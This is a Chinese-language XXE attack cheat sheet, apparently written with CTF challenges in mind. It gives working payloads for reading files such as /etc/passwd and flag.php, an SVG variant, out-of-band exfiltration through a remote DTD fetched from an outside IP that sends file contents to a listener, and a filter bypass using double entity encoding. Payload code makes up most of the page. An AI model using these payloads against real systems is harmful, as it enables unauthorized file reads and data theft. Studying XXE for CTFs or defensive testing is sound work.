XXE #

XXE ( PHP 5.45之后不解析实体 )

<!DOCTYPE 根标签名 SYSTEM "文件名">
1

DTD实体是用于定义引用文本或字符的快捷方式的变量,可内部声明或外部引用。

约束通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

<!ELEMENT 标签名 ANY>
1

同时xxe可进行内网探测读取 /etc/hosts

Payload #

PHP文件读取

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
<creds>
<user>&xxe;</user>
</creds>
1
2
3
4
5
6
7

file协议读取文件

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
    	<core id="test101">
     		<description>&xxe;</description>
  		</core>
</catalog>
1
2
3
4
5
6
7

SVG格式

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
  		<text x="10" y="20">&file;</text>
</svg>
1
2
3
4
5
6
7

数据外带

<!DOCTYPE root [ 
<!ENTITY % remote SYSTEM "http://174.1.66.167/shell.dtd">
%remote;
]>

shell.dtd
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:5555/?flag=%file;'>">
%int;
%send;
1
2
3
4
5
6
7
8
9
10

xxe绕过的payload

当只过滤了SYSTEM,PUBLIC等关键字时,可用双重实体编码绕过

<?xml version="1.0"?>

<!DOCTYPE GVI [

    <!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#46;&#116;&#120;&#116;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#99;&#111;&#114;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#120;&#120;&#101;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#99;&#111;&#114;&#101;&#62;">

    %xml;
1
2
3
4
5
6
7

即为在xml实体中再定义一次xml,可成功被解析,支持dtd数据外带

<!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<core>
      <message>&xxe;</message>
</core>
1
2
3
4

以上为编码部分内容

上次更新: 11/2/2023, 3:02:48 AM